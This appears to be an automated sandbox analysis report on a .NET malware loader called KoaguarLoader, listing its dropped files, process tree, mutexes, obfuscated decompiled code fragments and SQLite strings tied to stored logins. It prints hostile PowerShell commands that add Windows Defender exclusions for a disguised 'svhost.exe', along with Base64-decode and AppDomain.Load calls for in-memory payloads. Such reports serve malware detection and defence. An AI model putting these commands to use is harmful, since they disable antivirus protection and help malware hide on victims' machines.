Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, j7CxY8VJCXsgfpfgNGwki0Ktagndhv4AVokBnp0OSdwntgf4x7CcSfyRWLsuXe230GnCbdTRJkgG551k64zmGnt6pb.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svhost.exe.3.dr, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svhost.exe.3.dr, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: svhost.exe.0.dr, z6XG9VNMgzKSI0w.cs	Base64 encoded string: 'Ptci0funkG3c/qfIkLL4b5oLKMPLUO+N2bHrKTibmPzNTu9JyIaKk4Ykr0CdbX2s'
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, z6XG9VNMgzKSI0w.cs	Base64 encoded string: 'Ptci0funkG3c/qfIkLL4b5oLKMPLUO+N2bHrKTibmPzNTu9JyIaKk4Ykr0CdbX2s'
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, z6XG9VNMgzKSI0w.cs	Base64 encoded string: 'Ptci0funkG3c/qfIkLL4b5oLKMPLUO+N2bHrKTibmPzNTu9JyIaKk4Ykr0CdbX2s'
Source: svhost.exe.3.dr, z6XG9VNMgzKSI0w.cs	Base64 encoded string: 'Ptci0funkG3c/qfIkLL4b5oLKMPLUO+N2bHrKTibmPzNTu9JyIaKk4Ykr0CdbX2s'
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, z6XG9VNMgzKSI0w.cs	Base64 encoded string: 'Ptci0funkG3c/qfIkLL4b5oLKMPLUO+N2bHrKTibmPzNTu9JyIaKk4Ykr0CdbX2s'

Source: svhost.exe.0.dr, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: svhost.exe.0.dr, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: svhost.exe.3.dr, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: svhost.exe.3.dr, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, E1KFEgHGhH0nvji.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: C:\Users\user\AppData\Roaming\svhost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7732:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5468:120:WilError_03
Source: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\WEBR_9A8P43Y2IR2Z
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7388:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\yuxZVGCNWecgQM1n

Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select Name from Win32_Processor
Source: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select Name from Win32_Processor

Source: KoaguarLoader.exe, 00000002.00000002.939032080.0000000000E81000.00000040.00000001.01000000.00000005.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.943416104.0000000000291000.00000040.00000001.01000000.00000009.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1079600336.00000000006E1000.00000040.00000001.01000000.0000000C.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164494001.000000002CE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164642380.000000002EE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2163927611.0000000024E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164789824.0000000030E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164087789.0000000026E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164352720.000000002AE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000002984000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: KoaguarLoader.exe, 00000002.00000002.939032080.0000000000E81000.00000040.00000001.01000000.00000005.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.943416104.0000000000291000.00000040.00000001.01000000.00000009.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1079600336.00000000006E1000.00000040.00000001.01000000.0000000C.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164494001.000000002CE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164642380.000000002EE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2163927611.0000000024E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164789824.0000000030E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164087789.0000000026E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164352720.000000002AE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000002984000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2164494001.000000002CEC0000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164087789.0000000026EBF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: KoaguarLoader.exe, 00000002.00000002.939032080.0000000000E81000.00000040.00000001.01000000.00000005.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.943416104.0000000000291000.00000040.00000001.01000000.00000009.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1079600336.00000000006E1000.00000040.00000001.01000000.0000000C.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164494001.000000002CE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164642380.000000002EE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2163927611.0000000024E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164789824.0000000030E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164087789.0000000026E8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2164352720.000000002AE8F000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000002984000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: unknown	Process created: C:\Users\user\Desktop\KoaguarLoader.exe "C:\Users\user\Desktop\KoaguarLoader.exe"
Source: C:\Users\user\Desktop\KoaguarLoader.exe	Process created: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe "C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe"
Source: C:\Users\user\Desktop\KoaguarLoader.exe	Process created: C:\Users\user\AppData\Local\Temp\svhost.exe "C:\Users\user\AppData\Local\Temp\svhost.exe"
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	Process created: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe"
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe "C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe"
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe"
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\svhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe "C:\Users\user\AppData\Local\Comms\HkqNfKUrMBAD.exe"
Source: unknown	Process created: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe"
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\svhost.exe "C:\Users\user\AppData\Roaming\svhost.exe"
Source: C:\Users\user\Desktop\KoaguarLoader.exe	Process created: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe "C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KoaguarLoader.exe	Process created: C:\Users\user\AppData\Local\Temp\svhost.exe "C:\Users\user\AppData\Local\Temp\svhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KoaguarLoader.exe	Process created: C:\Program Files (x86)\Windows NT\I1y524I4zau1n3u.exe "C:\Program Files (x86)\windows nt\I1y524I4zau1n3u.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svhost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\svhost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'	Jump to behavior

Source: svhost.exe.0.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{z6XG9VNMgzKSI0w.unFXqwBJ68GelpH,z6XG9VNMgzKSI0w.s48HSwTVVklT4LA,z6XG9VNMgzKSI0w.XJMsVfSD4lRIZS8,z6XG9VNMgzKSI0w.sPmSSioJJzPDsiv,fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.yumjM6h7CZGkl79chDMkSEbZqXAktCEjp()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svhost.exe.0.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[2],fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.ynifprEnwqGbE6CNgi4tL8BpTvW93ylYQ(Convert.FromBase64String(jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{z6XG9VNMgzKSI0w.unFXqwBJ68GelpH,z6XG9VNMgzKSI0w.s48HSwTVVklT4LA,z6XG9VNMgzKSI0w.XJMsVfSD4lRIZS8,z6XG9VNMgzKSI0w.sPmSSioJJzPDsiv,fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.yumjM6h7CZGkl79chDMkSEbZqXAktCEjp()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[2],fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.ynifprEnwqGbE6CNgi4tL8BpTvW93ylYQ(Convert.FromBase64String(jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{z6XG9VNMgzKSI0w.unFXqwBJ68GelpH,z6XG9VNMgzKSI0w.s48HSwTVVklT4LA,z6XG9VNMgzKSI0w.XJMsVfSD4lRIZS8,z6XG9VNMgzKSI0w.sPmSSioJJzPDsiv,fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.yumjM6h7CZGkl79chDMkSEbZqXAktCEjp()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[2],fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.ynifprEnwqGbE6CNgi4tL8BpTvW93ylYQ(Convert.FromBase64String(jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svhost.exe.3.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{z6XG9VNMgzKSI0w.unFXqwBJ68GelpH,z6XG9VNMgzKSI0w.s48HSwTVVklT4LA,z6XG9VNMgzKSI0w.XJMsVfSD4lRIZS8,z6XG9VNMgzKSI0w.sPmSSioJJzPDsiv,fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.yumjM6h7CZGkl79chDMkSEbZqXAktCEjp()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: svhost.exe.3.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[2],fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.ynifprEnwqGbE6CNgi4tL8BpTvW93ylYQ(Convert.FromBase64String(jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{z6XG9VNMgzKSI0w.unFXqwBJ68GelpH,z6XG9VNMgzKSI0w.s48HSwTVVklT4LA,z6XG9VNMgzKSI0w.XJMsVfSD4lRIZS8,z6XG9VNMgzKSI0w.sPmSSioJJzPDsiv,fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.yumjM6h7CZGkl79chDMkSEbZqXAktCEjp()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[2],fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.ynifprEnwqGbE6CNgi4tL8BpTvW93ylYQ(Convert.FromBase64String(jGMbDgBZof6VgyrDLVKj7LTT4gvd4flRSsdFURlo7B9cawNS5FyFfAFFz60JF85USfoOnPFQ9HjF7OkJLzQRss18KK[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

Source: svhost.exe.0.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: _7tKMGb6lJn2k5bzhno1pNQO4s20ODbuIR4JXEcwCZGtlA8vCTvm7OEg7atqva2Qho9Sya04sMZPwEyEB9jlVBlLa37 System.AppDomain.Load(byte[])
Source: svhost.exe.0.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF System.AppDomain.Load(byte[])
Source: svhost.exe.0.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: _7tKMGb6lJn2k5bzhno1pNQO4s20ODbuIR4JXEcwCZGtlA8vCTvm7OEg7atqva2Qho9Sya04sMZPwEyEB9jlVBlLa37 System.AppDomain.Load(byte[])
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF System.AppDomain.Load(byte[])
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: _7tKMGb6lJn2k5bzhno1pNQO4s20ODbuIR4JXEcwCZGtlA8vCTvm7OEg7atqva2Qho9Sya04sMZPwEyEB9jlVBlLa37 System.AppDomain.Load(byte[])
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF System.AppDomain.Load(byte[])
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF
Source: svhost.exe.3.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: _7tKMGb6lJn2k5bzhno1pNQO4s20ODbuIR4JXEcwCZGtlA8vCTvm7OEg7atqva2Qho9Sya04sMZPwEyEB9jlVBlLa37 System.AppDomain.Load(byte[])
Source: svhost.exe.3.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF System.AppDomain.Load(byte[])
Source: svhost.exe.3.dr, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: ABtXL83KmEzSWaBHLhbHrrir8o8sgBuxMjOBt3qn6SZRgcvVXvj4Wu6MdxzqLrx03kJo1giozk1sqtpirv3N5L49AF
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, sant3NY92c40ENnlYSatx2hRMG2JhHq9WHEaO1LJ0S1nvWgbV32QGClVQu1AYeGkW1GTLQp9nB4R7pi84wKH1d331N.cs	.Net Code: _7tKMGb6lJn2k5bzhno1pNQO4s20ODbuIR4JXEcwCZGtlA8vCTvm7OEg7atqva2Qho9Sya04sMZPwEyEB9jlVBlLa37 System.AppDomain.Load(byte[])
